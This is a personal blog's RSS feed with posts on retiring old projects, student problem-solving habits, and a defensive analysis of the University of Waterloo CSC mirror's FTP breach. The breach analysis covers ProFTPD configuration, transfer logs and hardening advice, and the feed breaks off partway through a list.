<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Blog Timeline on fluix's blog</title><link>https://fluix.one/blog/</link><description>Recent content in Blog Timeline on fluix's blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>The content of this site is licensed under CC BY-SA 2.0 and the source code is licensed under MIT</copyright><atom:link href="https://fluix.one/blog/index.xml" rel="self" type="application/rss+xml"/><item><title>Good things come to an end</title><link>https://fluix.one/blog/end-of-2023/</link><pubDate>Sun, 31 Dec 2023 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/end-of-2023/</guid><description>&lt;p>Good morning, it&amp;rsquo;s been a while. 2023 has felt like a rather long year for me, and as it comes to an end, so do two of my longest-standing projects.&lt;/p>
&lt;p>&lt;a href="https://github.com/fluix-dev/sway-borders">sway-borders&lt;/a> is a fork I started in &lt;a href="https://github.com/swaywm/sway/pull/5639">August of 2020&lt;/a> which attempted to implement more customizable, rounded borders for the &lt;a href="https://swaywm.org/">Sway compositor&lt;/a>. It succeeded in doing so in a customizable but hacky way by letting the user specify 8 images which would be overlaid and stretched across the corner and edges of windows or containers. I, and many others, used it until sometime around March 2023. It was the first project of mine that has had any kind of sizable userbase. Today, it is still the only such project. And soon, it will be archived.&lt;/p>
&lt;p>I do not build projects with the intention of them becoming popular, but rather to learn and share information to the world. I definitely enjoyed the fact that sway-borders was popular, though; making something that I know other people find useful is rewarding, particularly — and maybe exclusively — when the community is friendly and supportive. It also netted me a very kind, roughly $50.00 CAD donation. However, at the time, I also felt rushed to get it out for the fear of someone else making a fork instead. I felt pressured to improve it and made hollow promises to continue work on it at some point. I&amp;rsquo;m not sure why I felt this way, because at least in the present I openly support alternatives like &lt;a href="https://github.com/WillPower3309/swayfx">swayfx&lt;/a>. I never did end up improving it, only managing to keep it up to date with upstream, until I stopped using it myself when I went back to the dull rectangular borders of upstream Sway.&lt;/p>
&lt;p>Ultimately, I think I lack the necessary experience in C and graphics programming, and the drive to change that in the present, to make it really good. So, soon, I will archive the repository on GitHub and remove the long broken sway-borders-git package from the AUR. It was a fun project while it lasted and I learned a lot about Wayland and Arch in the process. It was also the entrypoint to many communities I remain an active member of to this day.&lt;/p>
&lt;p>mordor is the hostname of my first virtual private server created at 00:30 UTC on June 10th, 2019. On it I hosted my first websites, ran a VPN server, IRC bouncer, and my own email server, played around with containers, made my first backups, and completed school assignments. It also started my tradition of naming machines after locations of Middle-earth. As I write this, it has an uptime of 1137 days, and I&amp;rsquo;m repeatedly marvelled by the fact that its Debian 10 operating system still isn&amp;rsquo;t running malware. My use and experience with it is directly or indirectly responsible for positions at school clubs, my freelance web development business, my paid and unpaid co-op positions, and my undergraduate status at the university.&lt;/p>
&lt;p>mordor has already celebrated the new year, but it won&amp;rsquo;t make it far beyond that. I&amp;rsquo;ve moved almost everything off to a couple of other servers that are much better organized. I will be sad running the last &lt;code>poweroff&lt;/code>, and for the record: yes it&amp;rsquo;s weird and nerdy to reminiss over and subtly personify a couple of virtual cores, RAM, and an SSD in a Toronto datacenter, but this is my blog and I write what I want on it. Goodnight good server, you&amp;rsquo;ve done us all well.&lt;/p>
&lt;p>Finally, this blog post ostensibly marks the last writing I will do this year.&lt;/p>
&lt;p>Goodbye 2023; see you soon 2024.&lt;/p></description></item><item><title>Resilience and problem solving</title><link>https://fluix.one/blog/resilience-problem-solving/</link><pubDate>Mon, 10 Jul 2023 09:35:00 -0400</pubDate><guid>https://fluix.one/blog/resilience-problem-solving/</guid><description>&lt;p>So I&amp;rsquo;m through my first term at the University of Waterloo as a Computer Engineering undergraduate and I&amp;rsquo;ve noticed some worrying trends when it comes to problem solving in our programming courses. Programming is a skill that I&amp;rsquo;ve worked on since early grade school, making things in Scratch, Python, then Visual Basic and Java. C++, the language for our course, is not a language I&amp;rsquo;ve had much experience with, but my knowledge in others has more than compensated to be able to quickly complete assignments. I totally understand that others do not have this experience &amp;ndash; programming experience is not a requirement to enter the program, after all &amp;ndash; and need more time and more help doing projects.&lt;/p>
&lt;p>I&amp;rsquo;d like to think I&amp;rsquo;ve been a generally helpful person in the class. On class discussion boards and communication platforms, I frequently answer questions, often before an instructor has a chance to comment on it. I&amp;rsquo;m happy to test out other people&amp;rsquo;s code, and I go out of my way to explain more complex concepts like a program&amp;rsquo;s stack and heap to friends. However, there are some questions that leave me feeling disappointed and frustrated, not because I cannot answer them or because they are particularly trivial, but because of a lack of effort from the asker.&lt;/p>
&lt;p>Lots of questions can be answered by just looking at previous questions on our discussion board. There&amp;rsquo;s a handy search feature that quickly finds questions with similar content. Lecture notes and examples are also common references which I point out to people, and even the course syllabus (which everyone is expected to read and instructors go over at the start of the course) gets regular linking to.&lt;/p>
&lt;p>Others will ask a question about how to implement a complex function and I&amp;rsquo;ll describe an overall approach without going into exact details. They&amp;rsquo;ll proceed to implement a single loop condition before asking if it&amp;rsquo;s correct.&lt;/p>
&lt;p>Situations like these are common in technical circles. They are the source of acronyms like &lt;abbr title="Read the Fucking Manual">RTFM&lt;/abbr> and terms like &lt;a href="https://en.wiktionary.org/wiki/help_vampire#Noun">help vampire&lt;/a>. I feel like a lot of these boil down to being afraid to test, but I&amp;rsquo;m not sure why. Programming, to me, is the easiest domain in which to test solutions. It&amp;rsquo;s &lt;em>literally&lt;/em> a compile away! In projects with provided examples, you don&amp;rsquo;t even need to perform any manual data entry as you might in mathematics. Yet still, people refuse to just &lt;em>run their code&lt;/em>.&lt;/p>
&lt;p>In some ways it&amp;rsquo;s easy for me to blame the person asking, and I think some of that blame is fair. University students should be expected to research solutions to their problems, see if anyone has asked a similar question on discussion boards, review lecture notes and examples, and test their code. If you&amp;rsquo;re going to ask a question, make sure to put some effort behind it.&lt;/p>
&lt;p>But I also think some of the blame goes to the instructors and teaching assistants helping out students. On numerous occasions, I have seen support provided by writing code for students or telling them exactly what is wrong and how to fix it, instead of providing test cases and debugging suggestions. Not only does this instill poor habits in students, but it takes inordinate amounts of time which could be better utilized to help more students. In rare occasions I&amp;rsquo;ve even seen &lt;em>incorrect&lt;/em> answers being provided instead of a simple &amp;ldquo;I don&amp;rsquo;t know&amp;rdquo; which sidetracked students for some time, only for them to return again later.&lt;/p>
&lt;p>I would wager that this kind of over-compassionate response does two things: it deprives the challenging part of learning that&amp;rsquo;s vital to building better problem solving skills, and it reinforces fixed mindsets which lead to worse resilience.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> Years back, a high school computer science teacher often replied to questions with a phrase similar to &amp;ldquo;Read. Read it again. Then, read it one more time.&amp;rdquo; (referring to problem descriptions or lesson notes). As harsh and frustrating as this answer felt in the moment, I think such a response — phrased with a tad more encouragement — has its merits and ultimately builds students&amp;rsquo; resilience.&lt;/p>
&lt;p>Of course, all of this extends to far more than just programming courses or even education. This area is just my own experience in it. When I wrote the first draft of this post, exams were around the corner and, as the first few paragraphs may indicate, I was starting to get mildly annoyed with last minute questions. Revisiting my writing in the new year has proven to be quite fruitful. I&amp;rsquo;ve expanded on my ideas and did more research into this topic.&lt;/p>
&lt;p>I think asking good questions and providing good answers are important skills to think about, whether as a friend and classmate, a partner, teacher, or parent. We often have the tools to solve our problems, so put them to use and see what happens. When you reach a roadblock, ask for help and demonstrate the effort you&amp;rsquo;ve already put in. When you&amp;rsquo;re offering help, do so with warm encouragement and a confident push in the right direction, not by solving the issue yourself.&lt;/p>
&lt;hr>
&lt;p>This post was written a few months ago, but I hesitated publishing it because I wanted to do more thinking and research about how people learn and why the situations I describe happen. I still plan on doing so, but I figured I may as well publish this as is, if for no other reason that to have a record of my thoughts at the time.&lt;/p>
&lt;p>If you have thoughts on the matter, please get in touch. I&amp;rsquo;m interested in others&amp;rsquo; perspectives.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Yeager, D. S., &amp;amp; Dweck, C. S. (2012). &lt;em>Mindsets That Promote Resilience: When Students Believe That Personal Characteristics Can Be Developed. Educational Psychologist, 47(4), 302–314.&lt;/em> doi:10.1080/00461520.2012.722805 &amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>A mirror hack should not be catastrophic</title><link>https://fluix.one/blog/uwaterloo-mirror-hack-2/</link><pubDate>Sun, 09 Jul 2023 20:50:00 -0400</pubDate><guid>https://fluix.one/blog/uwaterloo-mirror-hack-2/</guid><description>&lt;p>This is a continuation of my &lt;a href="https://fluix.one/blog/uwaterloo-mirror-hack-1">thoughts on the csclub.uwaterloo.ca mirror hack&lt;/a>.&lt;/p>
&lt;blockquote>
&lt;p>This could have been catastrophic. An attacker could have modified the sync
scripts to compromise all the files we served from our mirror.&lt;/p>
&lt;/blockquote>
&lt;p>Yes, they &lt;em>could&lt;/em> control all files served by the mirror, but this presumes that upstream projects trusted the mirror operators in the &lt;em>first place&lt;/em>.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> While this may be the case for mirroring &lt;a href="http://mirror.csclub.uwaterloo.ca/csclub/">their own files&lt;/a>, any third party project which lists the CSC mirror as an official mirror need not, and &lt;strong>should not&lt;/strong>, naively trust that they will serve the same files they received.&lt;/p>
&lt;p>If projects did, becoming a popular mirror and then swapping out files with malicious ones would be big business. And while it takes some effort to run a mirror, I would bet it&amp;rsquo;s far simpler than many other methods of distributing malware.&lt;/p>
&lt;p>Instead, projects &lt;em>sign&lt;/em> the files (commonly application packages) they serve with known asymmetric encryption keys that users verify. For OS distributions like Arch or Alpine, users get a copy of the public key(s) in their initial download of the ISO from a first-party source, and then their respective package managers (&lt;a href="https://archlinux.org/pacman/">pacman&lt;/a> and &lt;a href="https://gitlab.alpinelinux.org/alpine/apk-tools">apk&lt;/a>) verify that all future downloads are signed by the respective private key(s).&lt;/p>
&lt;p>Of the 61 projects mirrored, over 75% have signatures attached, so malicious files would be quickly detected and the mirror operators informed.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> There would be no catastrophe. This security is the very purpose of package signing.&lt;/p>
&lt;blockquote>
&lt;p>Several things had gone wrong here. The “mirror” user didn’t have a password.
The default settings of ProFTPD were too insecure for our use case, and the
documentation is incredibly hard-to-read.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> We didn’t prevent logins via
FTP. We didn’t prevent unnecessary access to home directories. We didn’t
check our FTP logs often, or have an automated way to do it. If even one of
these factors had been mitigated, the breach that we finally detected
wouldn’t have occurred. Syscom would eventually switch over to vsftpd
(very-secure FTP daemon, a more secure implementation with much more readable
documentation) instead, for a simpler configuration to avoid further
mishaps.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/p>
&lt;/blockquote>
&lt;p>I think the primary lessons here, of using software you personally understand, and minimizing your attack surface by choosing the most minimal, secure application for the job, are key. After all, as a system administrator — some of whom are even software &lt;em>engineers&lt;/em> — responsible for important infrastructure, is not knowing the software you run a good excuse for getting pwned?&lt;/p>
&lt;p>Of course I don&amp;rsquo;t mean you should perform a software audit on everything you use, or know every part of the Linux kernel, or know all applicable RFCs by heart,&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> but you should be confident in your choice of tool for the job. If all you need to do is run a script every hour, use cron, not Ansible; if you can use a new tool or reuse an existing one, prefer the latter. And yes, there&amp;rsquo;s caveats and exceptions and difficulties in all of this, but that&amp;rsquo;s part of what makes this job so interesting — figuring out what&amp;rsquo;s best.&lt;/p>
&lt;p>Thankfully, this is something the CSC sysadmins know, so I&amp;rsquo;m happy to hear security is improving, and I&amp;rsquo;ll continue to use the CSC mirror.&lt;/p>
&lt;blockquote>
&lt;p>When asked for comment for this blog post, zseguin emphasized that it’s
“important to know what’s running, where your points of entry are and where
your logs are”, [&amp;hellip;]. [merenber] also mentioned that syscom “needs to be
more proactive” and that “the vsftpd configuration is far simpler (only one
config file)&amp;hellip; This makes it far less likely for someone to screw it up.”&lt;/p>
&lt;/blockquote>
&lt;h3 id="food-for-thought">Food for Thought&lt;/h3>
&lt;p>The article concludes with three questions to the reader.&lt;/p>
&lt;blockquote>
&lt;ol>
&lt;li>Can you identify where ProFTPD documents (or even find the source
implementation) that it allows writes and logins from all users by
default?&lt;/li>
&lt;/ol>
&lt;/blockquote>
&lt;p>See the &lt;a href="https://fluix.one/blog/uwaterloo-mirror-hack-1">previous post&lt;/a> where I also discuss the rationale behind this default.&lt;/p>
&lt;blockquote>
&lt;ol start="2">
&lt;li>What are some additional ways we could have prevented this breach, or
detected it earlier, that aren’t mentioned in this post?&lt;/li>
&lt;/ol>
&lt;/blockquote>
&lt;p>As analyzed in the previous post, there&amp;rsquo;s several alternatives that could have prevented the breach (or fixed it afterwards):&lt;/p>
&lt;ul>
&lt;li>Disable logging in to the mirror user.&lt;/li>
&lt;li>Add the mirror user to &lt;code>/etc/ftpusers&lt;/code>.&lt;/li>
&lt;li>Run ProFTPD as the mirror user.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;ol start="3">
&lt;li>If you wrote an FTP daemon, what are some guard rails you would add to
prevent incidents like this?&lt;/li>
&lt;/ol>
&lt;/blockquote>
&lt;p>I think the author wants readers to say &amp;ldquo;prevent all writes by default.&amp;rdquo; That&amp;rsquo;s fine, but I&amp;rsquo;d like to propose a different solution: keep the default but add a quick start guide that goes over starting the daemon and mention that all users can now upload files. Then, include a short snippet of how this can be prevented. This has the added benefit of being applicable to ProFTPD without breaking backwards compatibility.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Projects that designate official mirrors trust and verify that operators will keep files up to date and maintain mirror availability.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>I originally had a table showing every mirrored project, whether the mirror was official, and whether there were signatures, but it took too long to check everything. Given that I cannot guarantee (in a reasonable amount of time) that the signatures are actually checked (by default) by package managers, that all files are signed, that the public key is obtained from a trusted source, or whether authenticity is guaranteed some other way, I figure I will leave it at this.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="http://proftpd.org/docs/">http://proftpd.org/docs/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://security.appspot.com/vsftpd.html">https://security.appspot.com/vsftpd.html&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>Having read them is actually a pretty good idea.&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>This is documented in the &lt;a href="http://www.proftpd.org/docs/modules/mod_core.html#Anonymous">&lt;code>&amp;lt;Anonymous&amp;gt;&lt;/code> directive&lt;/a> docs.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Thoughts on the csclub.uwaterloo.ca mirror hack</title><link>https://fluix.one/blog/uwaterloo-mirror-hack-1/</link><pubDate>Sun, 09 Jul 2023 20:49:00 -0400</pubDate><guid>https://fluix.one/blog/uwaterloo-mirror-hack-1/</guid><description>&lt;p>On April 21st, 2023, at 21:05:55, an IP address in Marrakesh, Morocco maliciously uploads the alexusMailer anonymous mailing PHP script to the University of Waterloo&amp;rsquo;s Computer Science Club (CSC) open source software mirror. A week later, on the chilly night of April 29th, 2023, at 11:44:00, past and present sysadmins of the University of Waterloo&amp;rsquo;s Computer Science Club notice the unusual file and collectively agree that the mirror&amp;rsquo;s server has been breached.&lt;/p>
&lt;p>Staying up into the early hours of the following morning, they scour through logs, identify and patch the root cause, implement additional safeguards, and inform all relevant parties.&lt;/p>
&lt;p>&lt;a href="https://raymond.li/" class="userlink">&lt;span class="user"title="Raymond Li">raymo&lt;/span>&lt;/a>, a member of the Systems Committee (syscom) of the CSC for several years and present sysadmin recounts this incident from his perspective in two articles, &lt;a href="https://mathnews.uwaterloo.ca/wp-content/uploads/2023/06/mathNEWS-152-2.pdf#page=8&amp;amp;zoom=auto,-188,778">&amp;ldquo;FTPWND PART 1: SILENT BUT DEADLY&amp;rdquo;&lt;/a> and &lt;a href="https://mathnews.uwaterloo.ca/wp-content/uploads/2023/06/mathNEWS-152-3.pdf#page=16">&amp;ldquo;FTPWND PART 2: CLOSE SHAVE&amp;rdquo;&lt;/a>, published in the 152nd volume of the mathNEWS paper. A little birdie recently brought these to my attention and, figuring I have relevant knowledge and similar experiences, I want to comment on his writing. He also helpfully left some questions and exercises for the reader to explore which I&amp;rsquo;ll go through as well.&lt;/p>
&lt;p>&lt;em>If you have little interest in a summary of the articles, &lt;a href="https://fluix.one/blog/uwaterloo-mirror-hack-2">skip to part 2&lt;/a>.&lt;/em>&lt;/p>
&lt;h2 id="ftpwnd-part-1-silent-but-deadly">FTPWND PART 1: SILENT BUT DEADLY&lt;/h2>
&lt;p>&lt;span class="user">raymo&lt;/span> begins by describing his initial exposure to the incident, a few hours after the dust had already settled. He wakes up on April 30th, after returning from vacation, to pings from IRC discussing the breach.&lt;/p>
&lt;blockquote>
&lt;p>We read about breaches and leaks and “pwn”s all the time, but they always
seem to happen to others, and we think we’re foolproof. This is the story of
how a system I was responsible for was breached.&lt;/p>
&lt;/blockquote>
&lt;p>I think most people exploring system administration come in with a feeling that they won&amp;rsquo;t mess it up. It&amp;rsquo;s &lt;em>easy&lt;/em> to follow instructions, read documentation, and not make &lt;em>silly&lt;/em> mistakes, right? With time, you gain some wisdom and an understanding that security is hard, with many issue hidden away in the unexplored interactions between components. Hopefully you understand this before it&amp;rsquo;s too late, before you&amp;rsquo;re responsible for user&amp;rsquo;s personal data or some important systems.&lt;/p>
&lt;p>My own wake up call happened when my high school&amp;rsquo;s computer club (MCPT) judging server was pwned because we had left root SSH access open without a password. Of course it was a &lt;em>little&lt;/em> bit more complicated than that — you can read the &lt;a href="https://github.com/mcpt/wlmoj-incidents/blob/cstate/reports/2021-10-28-judge-breach.md">incident report here&lt;/a>.&lt;/p>
&lt;h3 id="act-i-background">ACT I: Background&lt;/h3>
&lt;p>This section primarily discusses &lt;span class="user">raymo&lt;/span>&amp;rsquo;s role in the CSC, the purpose of a software mirror, a brief description of the FTP protocol, and the truly impressive size of the CSC club&amp;rsquo;s mirror.&lt;/p>
&lt;blockquote>
&lt;p>If you look at the list of Arch Linux (another popular distribution) mirrors,
you’ll see the CSC mirror listed as the only Tier-1 mirror (that is, mirrors
that sync directly from the original source, and that other mirrors sync
from) in Canada.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> If our mirror were to go offline, that would result in a
chain reaction, possibly causing other mirrors to go out of date as well.&lt;/p>
&lt;/blockquote>
&lt;p>I wasn&amp;rsquo;t sure if tier 2 mirrors sync from only a single mirror, but it appears that is indeed the case from the wording on the &lt;a href="https://wiki.archlinux.org/title/DeveloperWiki:NewMirrors#Create_a_feature-request">DeveloperWiki:NewMirrors page&lt;/a>. I would not be surprised if all twelve tier 2 Canadian mirrors&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> sync from the tier 1 CSC mirror, so all of them would go out of sync if it went offline. This would prove problematic, but not catastrophic, as users can switch to other mirrors.&lt;/p>
&lt;blockquote>
&lt;p>FTP servers can be configured to allow “anonymous” logins, which allow the
downloading and uploading of files without logging in.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> This is commonly
used by mirrors like the CSC’s, where anyone should be allowed to download
mirrored files without logging in. As the title of this post suggests, FTP
was the failing link that enabled the breach.&lt;/p>
&lt;/blockquote>
&lt;p>This is the first hint of what was involved in the server&amp;rsquo;s breach: the FTP server. I think it should also be noted that FTP hasn&amp;rsquo;t been recommended for mirroring by some distributions for over a decade. Arch Linux, for instance, had discussions to remove ftp mirrors from default mirrorlists in 2012,&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> denied &amp;ldquo;accepting new ftp mirrors&amp;rdquo; since 2015,&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> and now has only 1 of 468 mirrors, &lt;a href="https://archlinux.org/mirrors/librelabucm.org/">librelabucm.org&lt;/a> in Spain, advertising the protocol. HTTP and HTTPS are the de facto standards.&lt;/p>
&lt;h3 id="act-ii-configuration">Act II: Configuration&lt;/h3>
&lt;blockquote>
&lt;p>[&amp;hellip;] mirrored sources are fetched regularly from upstream by
“potassium-benzoate”, the machine that serves as our mirror, using a golang
script called “merlin”, developed in-house by syscom. Merlin fetches to the
/mirror/ root directory, and is run by the “mirror” user, which has no
password, since potassium-benzoate is only accessible by syscom users, all of
whom are trusted.&lt;/p>
&lt;/blockquote>
&lt;p>I think not having a password on a user with minimal privileges is pretty common and acceptable for the reasons mentioned, particularly when a machine doesn&amp;rsquo;t have other unprivileged users which could use the account for escalation.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> It certainly would not hurt to add a password to the user from a security standpoint, but it is unlikely anybody is logging in to this user directly anyways. Instead, a privileged user will change their uid/gid to mirror&amp;rsquo;s through a command like &lt;code>su&lt;/code> without being prompted for a password.&lt;/p>
&lt;p>If this is true, it would be better for the user to have an &lt;em>unmatchable&lt;/em> password, meaning no value entered would ever match with the hashed version of the password stored in &lt;code>/etc/shadow&lt;/code>. This is effectively the same as generating a strong password and promptly forgetting it. The value used by &lt;code>passwd --lock&lt;/code> is &lt;code>!&lt;/code>.&lt;/p>
&lt;p>Alternatively, if the mirror user is only meant to be used as one under which other daemons and scripts are run, it could have a nonexistent login shell (or the more user-friendly &lt;code>nologin&lt;/code> replacement shell). Privileged users can still run commands under it by using, e.g. &lt;code>doas -u mirror&lt;/code>.&lt;/p>
&lt;p>On the night of April 29th, the &lt;a href="http://www.proftpd.org/">ProFTPD&lt;/a> FTP daemon configuration contained the snippet below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-apache" data-lang="apache">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;Anonymous&lt;/span> &lt;span class="s">/mirror/root&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c"># Limit WRITE everywhere in the anonymous chroot&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;Directory&lt;/span> &lt;span class="s">*&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;Limit&lt;/span> &lt;span class="s">WRITE&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">DenyAll&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;/Limit&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/Directory&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/Anonymous&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;span class="user">raymo&lt;/span> describes the functionality of this snippet as such:&lt;/p>
&lt;blockquote>
&lt;p>The config file essentially creates an anonymous chroot at /mirror/root that
allows for anyone to connect via FTP, without authentication, and download
but not upload files.&lt;/p>
&lt;/blockquote>
&lt;p>My first thought when reading this was that the wording of &lt;q>anonymous chroot&lt;/q> is strange. &lt;code>chroot&lt;/code> is a Linux syscall that changes the root directory of the calling process and its children, often poorly used for sandboxing.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> The meaning is clarified by the &lt;a href="http://www.proftpd.org/docs/modules/mod_core.html#Anonymous">&lt;code>&amp;lt;Anonymous&amp;gt;&lt;/code> directive docs&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Syntax:&lt;/strong> &lt;code>&amp;lt;Anonymous anon-directory&amp;gt;&lt;/code>&lt;/p>
&lt;p>The &lt;code>&amp;lt;Anonymous&amp;gt;&lt;/code> configuration section is used to create an anonymous FTP
login, and is closed by a matching &lt;code>&amp;lt;/Anonymous&amp;gt;&lt;/code> directive. The
&lt;code>anon-directory&lt;/code> parameter specifies the directory to which the daemon,
immediately after successful authentication, will restrict the session via
chroot(2).&lt;/p>
&lt;/blockquote>
&lt;p>The first article ends with two questions to the reader:&lt;/p>
&lt;blockquote>
&lt;p>What do you think is wrong with this configuration? How would you exploit it
if you were an attacker?&lt;/p>
&lt;/blockquote>
&lt;p>While reading, I recall considering the nesting of &lt;code>&amp;lt;Directory *&amp;gt;&lt;/code> being &lt;em>inside&lt;/em> the &lt;code>&amp;lt;Anonymous&amp;gt;&lt;/code> directive, and so the &lt;code>&amp;lt;Limit&amp;gt;&lt;/code> directive only applying to paths of the form &lt;code>/mirror/root/*&lt;/code> but not those under other directories, e.g. &lt;code>/mirror/foo&lt;/code>. Perhaps there was a path traversal vulnerability which let attackers upload files outside of &lt;code>/mirror/root/&lt;/code>? We&amp;rsquo;ll find out soon.&lt;/p>
&lt;p>Thinking about it after the fact, I might consider that denying &lt;code>WRITE&lt;/code> may not deny other non-read commands like modifying file permissions or deleting uploads. It turns out this is not the case; &lt;code>WRITE&lt;/code> is actually a command &lt;em>group&lt;/em> covering all commands which modify file data.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="ftpwnd-part-2-close-shave">FTPWND PART 2: CLOSE SHAVE&lt;/h2>
&lt;h3 id="act-iii-pwned">Act III: Pwned&lt;/h3>
&lt;p>&lt;a href="https://zacharyseguin.ca/" class="userlink">&lt;span class="user"title="Zachary Seguin">zseguin&lt;/span>&lt;/a>, &lt;a href="https://maxerenberg.github.io/" class="userlink">&lt;span class="user"title="Max Erenber">merenber&lt;/span>&lt;/a>, and &lt;a href="https://szclsya.me/" class="userlink">&lt;span class="user"title="Leo Shen">szclsya&lt;/span>&lt;/a>, the syscom members online at the time, consider different methods of compromise, look through logs, and find &lt;a href="https://linux.die.net/man/8/pam_unix">&lt;code>pam_unix&lt;/code>&lt;/a> and ProFTPD logs matching the malicious files and their timestamps. Of course on a breached machine logs can&amp;rsquo;t always be trusted, but they&amp;rsquo;re okay to look at especially when working under the assumption that only minimal compromise of specific accounts was achieved.&lt;/p>
&lt;p>FTP transfer logs are presented in the article,&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> with attention being brought to the different directory and flags associated with the usual vs. malicious traffic.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-txt" data-lang="txt">&lt;span class="line">&lt;span class="cl">/mirror/root/.../lirc-0.10.1.tar.bz2 b _ o a -wget@ ftp 0 * c
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/mirror/root/.../lirc_0.10.1-7.debian.tar.xz b _ o a -wget@ ftp 0 * c
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/mirror/root/.../libcue-2.2.1.tar.gz b _ o a -wget@ ftp 0 * c
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/home/mirror/ARS.php a _ i r mirror ftp 0 * c
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/home/mirror/alexusMailer_v2.0.php a _ i r mirror ftp 0 * c
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/mirror/root/.../fluidsynth-2.3.1.tar.gz b _ o a -wget@ ftp 0 * c
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>These logs show that the files were uploaded by an authenticated FTP session as the mirror user. The single character flags that differ between the normal (&lt;code>o a&lt;/code>) and malicious (&lt;code>i r mirror&lt;/code>) transfers have the following meanings, from &lt;a href="https://linux.die.net/man/5/xferlog">xferlog(5)&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;code>i&lt;/code>: incoming transfer&lt;/li>
